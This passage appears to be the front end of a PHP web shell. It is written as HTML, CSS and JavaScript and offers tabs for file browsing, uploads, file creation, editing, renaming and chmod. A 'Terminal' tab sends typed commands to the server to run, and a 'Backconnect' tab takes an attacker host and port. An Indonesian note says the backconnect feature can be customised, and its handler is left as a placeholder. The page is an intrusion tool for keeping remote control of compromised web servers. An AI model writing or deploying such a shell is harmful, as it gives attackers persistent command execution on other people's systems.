/* Tabs nav */
|
|
.tabs {
|
|
display: flex;
|
|
gap: 10px;
|
|
margin-bottom: 20px;
|
|
flex-wrap: wrap;
|
|
}
|
|
.tab-button {
|
|
background: #222;
|
|
color: #ccc;
|
|
border: none;
|
|
padding: 10px 15px;
|
|
cursor: pointer;
|
|
border-radius: 6px 6px 0 0;
|
|
font-weight: 600;
|
|
transition: background-color 0.3s;
|
|
}
|
|
.tab-button:hover {
|
|
background: #67e167;
|
|
color: #121212;
|
|
}
|
|
.tab-button.active {
|
|
background: #67e167;
|
|
color: #121212;
|
|
}
|
|
.tab-content {
|
|
background: #222;
|
|
border-radius: 0 6px 6px 6px;
|
|
padding: 20px;
|
|
display: none;
|
|
min-height: 400px;
|
|
}
|
|
.tab-content.active {
|
|
display: block;
|
|
}
|
|
/* Forms */
|
|
input[type="text"], input[type="file"], textarea {
|
|
width: 100%;
|
|
background: #121212;
|
|
border: 1px solid #555;
|
|
color: #eee;
|
|
padding: 8px 10px;
|
|
border-radius: 4px;
|
|
font-family: monospace;
|
|
}
|
|
input[type="text"]:focus, textarea:focus {
|
|
outline: 2px solid #67e167;
|
|
background: #1a1a1a;
|
|
}
|
|
button.btn {
|
|
background: #67e167;
|
|
border: none;
|
|
color: #121212;
|
|
padding: 8px 15px;
|
|
border-radius: 5px;
|
|
cursor: pointer;
|
|
font-weight: 600;
|
|
transition: background-color 0.3s;
|
|
}
|
|
button.btn:hover {
|
|
background: #55c255;
|
|
}
|
|
/* Modal */
|
|
.modal {
|
|
position: fixed;
|
|
top:0; left:0; width: 100%; height: 100%;
|
|
background: rgba(0,0,0,0.7);
|
|
display: none;
|
|
justify-content: center;
|
|
align-items: center;
|
|
z-index: 1000;
|
|
}
|
|
.modal-content {
|
|
background: #222;
|
|
border-radius: 8px;
|
|
padding: 20px;
|
|
width: 500px;
|
|
max-width: 90%;
|
|
color: #eee;
|
|
font-family: monospace;
|
|
}
|
|
.modal-content h3 {
|
|
margin-top: 0;
|
|
}
|
|
.modal-content input, .modal-content textarea {
|
|
margin: 10px 0;
|
|
}
|
|
.modal-content button {
|
|
margin-right: 10px;
|
|
}
|
|
.modal-content .cancel {
|
|
background: #e55353;
|
|
color: #fff;
|
|
}
|
|
/* Terminal */
|
|
#terminalOutput {
|
|
background: #000;
|
|
color: #0f0;
|
|
height: 300px;
|
|
overflow-y: auto;
|
|
padding: 10px;
|
|
font-family: monospace;
|
|
border-radius: 6px;
|
|
}
|
|
/* Breadcrumb */
|
|
#breadcrumb {
|
|
margin-bottom: 10px;
|
|
font-family: monospace;
|
|
}
|
|
/* Responsive */
|
|
@media (max-width:600px) {
|
|
.tab-button {
|
|
flex: 1 1 100%;
|
|
border-radius: 0;
|
|
}
|
|
.modal-content {
|
|
width: 95%;
|
|
}
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<header>Current Directory : <span id="breadcrumb"><?= pathBreadcrumb($dir) ?></span></header>
|
|
<main>
|
|
<div class="tabs" role="tablist" aria-label="File Explorer Tabs">
|
|
<button class="tab-button active" role="tab" aria-selected="true" aria-controls="tab-1" id="tabBtn1">Explorer</button>
|
|
<button class="tab-button" role="tab" aria-selected="false" aria-controls="tab-2" id="tabBtn2">Upload</button>
|
|
<button class="tab-button" role="tab" aria-selected="false" aria-controls="tab-3" id="tabBtn3">Terminal</button>
|
|
<button class="tab-button" role="tab" aria-selected="false" aria-controls="tab-4" id="tabBtn4">Create Folder/File</button>
|
|
<button class="tab-button" role="tab" aria-selected="false" aria-controls="tab-5" id="tabBtn5">Backconnect</button>
|
|
</div>
|
|
|
|
<!-- Explorer Tab -->
|
|
<section id="tab-1" class="tab-content active" role="tabpanel" aria-labelledby="tabBtn1" tabindex="0">
|
|
<?= renderTable($dir) ?>
|
|
</section>
|
|
|
|
<!-- Upload Tab -->
|
|
<section id="tab-2" class="tab-content" role="tabpanel" aria-labelledby="tabBtn2" tabindex="0">
|
|
<h2>Upload File</h2>
|
|
<?= $uploadMsg ?? '' ?>
|
|
<form method="post" enctype="multipart/form-data">
|
|
<input type="file" name="fileToUpload" required>
|
|
<br><br>
|
|
<button type="submit" class="btn">Upload</button>
|
|
</form>
|
|
</section>
|
|
|
|
<!-- Terminal Tab -->
|
|
<section id="tab-3" class="tab-content" role="tabpanel" aria-labelledby="tabBtn3" tabindex="0">
|
|
<h2>Terminal</h2>
|
|
<input type="text" id="terminalCommand" placeholder="Enter command">
|
|
<button class="btn" id="runCmdBtn">Run</button>
|
|
<pre id="terminalOutput"></pre>
|
|
</section>
|
|
|
|
<!-- Create Folder/File Tab -->
|
|
<section id="tab-4" class="tab-content" role="tabpanel" aria-labelledby="tabBtn4" tabindex="0">
|
|
<h2>Create Folder</h2>
|
|
<?= $folderMsg ?? '' ?>
|
|
<form method="post">
|
|
<input type="text" name="new_folder_name" placeholder="Folder Name" required>
|
|
<button type="submit" class="btn">Create Folder</button>
|
|
</form>
|
|
<hr>
|
|
<h2>Create File</h2>
|
|
<?= $fileMsg ?? '' ?>
|
|
<form method="post">
|
|
<input type="text" name="new_file_name" placeholder="File Name" required>
|
|
<button type="submit" class="btn">Create File</button>
|
|
</form>
|
|
</section>
|
|
|
|
<!-- Backconnect Tab -->
|
|
<section id="tab-5" class="tab-content" role="tabpanel" aria-labelledby="tabBtn5" tabindex="0">
|
|
<h2>Backconnect</h2>
|
|
<p><i>Fitur Backconnect bisa kamu sesuaikan sendiri. Contoh di bawah ini adalah template input sederhana.</i></p>
|
|
<form id="backconnectForm">
|
|
<label>IP / Hostname:</label>
|
|
<input type="text" id="backconnect_host" placeholder="127.0.0.1" required>
|
|
<label>Port:</label>
|
|
<input type="number" id="backconnect_port" placeholder="4444" required>
|
|
<button type="submit" class="btn">Connect</button>
|
|
</form>
|
|
<pre id="backconnectOutput" style="background:#111; color:#67e167; height:250px; overflow:auto; padding:10px; margin-top:10px; border-radius:6px; font-family: monospace;"></pre>
|
|
</section>
|
|
|
|
</main>
|
|
|
|
<!-- Modals -->
|
|
<div id="modalRename" class="modal" role="dialog" aria-modal="true" aria-labelledby="modalRenameTitle">
|
|
<div class="modal-content">
|
|
<h3 id="modalRenameTitle">Rename</h3>
|
|
<form method="post" id="renameForm">
|
|
<input type="hidden" name="rename_old" id="renameOld" required>
|
|
<input type="text" name="rename_new" id="renameNew" required>
|
|
<br><br>
|
|
<button type="submit" class="btn">Rename</button>
|
|
<button type="button" class="btn cancel" onclick="closeModal('modalRename')">Cancel</button>
|
|
</form>
|
|
</div>
|
|
</div>
|
|
|
|
<div id="modalChmod" class="modal" role="dialog" aria-modal="true" aria-labelledby="modalChmodTitle">
|
|
<div class="modal-content">
|
|
<h3 id="modalChmodTitle">Change Permissions</h3>
|
|
<form method="post" id="chmodForm">
|
|
<input type="hidden" name="chmod_target" id="chmodTarget" required>
|
|
<input type="text" name="chmod_mode" id="chmodMode" pattern="[0-7]{3,4}" title="Enter valid octal permission (e.g. 0755 or 755)" required>
|
|
<br><br>
|
|
<button type="submit" class="btn">Change</button>
|
|
<button type="button" class="btn cancel" onclick="closeModal('modalChmod')">Cancel</button>
|
|
</form>
|
|
</div>
|
|
</div>
|
|
|
|
<div id="modalEdit" class="modal" role="dialog" aria-modal="true" aria-labelledby="modalEditTitle">
|
|
<div class="modal-content">
|
|
<h3 id="modalEditTitle">Edit File</h3>
|
|
<form method="post" id="editForm">
|
|
<input type="hidden" name="edit_path" id="editPath" required>
|
|
<textarea name="edit_content" id="editContent" rows="15" required></textarea>
|
|
<br>
|
|
<button type="submit" class="btn">Save</button>
|
|
<button type="button" class="btn cancel" onclick="closeModal('modalEdit')">Cancel</button>
|
|
</form>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
// Tabs logic
|
|
const tabs = document.querySelectorAll('.tab-button');
|
|
const contents = document.querySelectorAll('.tab-content');
|
|
|
|
tabs.forEach(tab => {
|
|
tab.addEventListener('click', () => {
|
|
tabs.forEach(t => {
|
|
t.classList.remove('active');
|
|
t.setAttribute('aria-selected', 'false');
|
|
});
|
|
contents.forEach(c => c.classList.remove('active'));
|
|
|
|
tab.classList.add('active');
|
|
tab.setAttribute('aria-selected', 'true');
|
|
document.getElementById(tab.getAttribute('aria-controls')).classList.add('active');
|
|
});
|
|
});
|
|
|
|
// Modals functions
|
|
function openModal(id) {
|
|
document.getElementById(id).style.display = 'flex';
|
|
}
|
|
function closeModal(id) {
|
|
document.getElementById(id).style.display = 'none';
|
|
}
|
|
|
|
// Rename prompt
|
|
function renamePrompt(oldPath, oldName) {
|
|
openModal('modalRename');
|
|
document.getElementById('renameOld').value = oldPath;
|
|
document.getElementById('renameNew').value = oldName;
|
|
document.getElementById('renameNew').focus();
|
|
}
|
|
|
|
// Chmod prompt
|
|
function chmodPrompt(target, currentPerm) {
|
|
openModal('modalChmod');
|
|
document.getElementById('chmodTarget').value = target;
|
|
document.getElementById('chmodMode').value = currentPerm;
|
|
document.getElementById('chmodMode').focus();
|
|
}
|
|
|
|
// Edit prompt (fetch file content)
|
|
function editPrompt(path) {
|
|
fetch('?readfile=' + encodeURIComponent(path))
|
|
.then(res => res.text())
|
|
.then(text => {
|
|
openModal('modalEdit');
|
|
document.getElementById('editPath').value = path;
|
|
document.getElementById('editContent').value = text;
|
|
document.getElementById('editContent').focus();
|
|
})
|
|
.catch(() => alert('Failed to load file'));
|
|
}
|
|
|
|
// Terminal command
|
|
const runBtn = document.getElementById('runCmdBtn');
|
|
const terminalInput = document.getElementById('terminalCommand');
|
|
const terminalOutput = document.getElementById('terminalOutput');
|
|
|
|
function runCommand() {
|
|
const cmd = terminalInput.value.trim();
|
|
if (!cmd) return;
|
|
terminalOutput.textContent += `$ ${cmd}\n`;
|
|
terminalInput.value = '';
|
|
fetch('', {
|
|
method: 'POST',
|
|
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
|
|
body: new URLSearchParams({ ajax_terminal_cmd: cmd })
|
|
})
|
|
.then(res => res.text())
|
|
.then(out => {
|
|
terminalOutput.textContent += out + '\n';
|
|
terminalOutput.scrollTop = terminalOutput.scrollHeight;
|
|
})
|
|
.catch(() => {
|
|
terminalOutput.textContent += 'Error executing command\n';
|
|
});
|
|
}
|
|
|
|
runBtn.addEventListener('click', runCommand);
|
|
terminalInput.addEventListener('keydown', e => {
|
|
if (e.key === 'Enter') {
|
|
e.preventDefault();
|
|
runCommand();
|
|
}
|
|
});
|
|
|
|
// Backconnect Form (dummy)
|
|
const bcForm = document.getElementById('backconnectForm');
|
|
const bcOutput = document.getElementById('backconnectOutput');
|
|
bcForm.addEventListener('submit', e => {
|
|
e.preventDefault();
|
|
const host = document.getElementById('backconnect_host').value.trim();
|
|
const port = document.getElementById('backconnect_port').value.trim();
|
|
if (!host || !port) return alert('Fill both host and port!');
|
|
bcOutput.textContent += `Attempting backconnect to ${host}:${port}...\n(This is a demo, implement your logic)\n`;
|
|
bcOutput.scrollTop = bcOutput.scrollHeight;
|
|
});
|
|
</script>
|
|
|
|
</body>
|
|
</html> |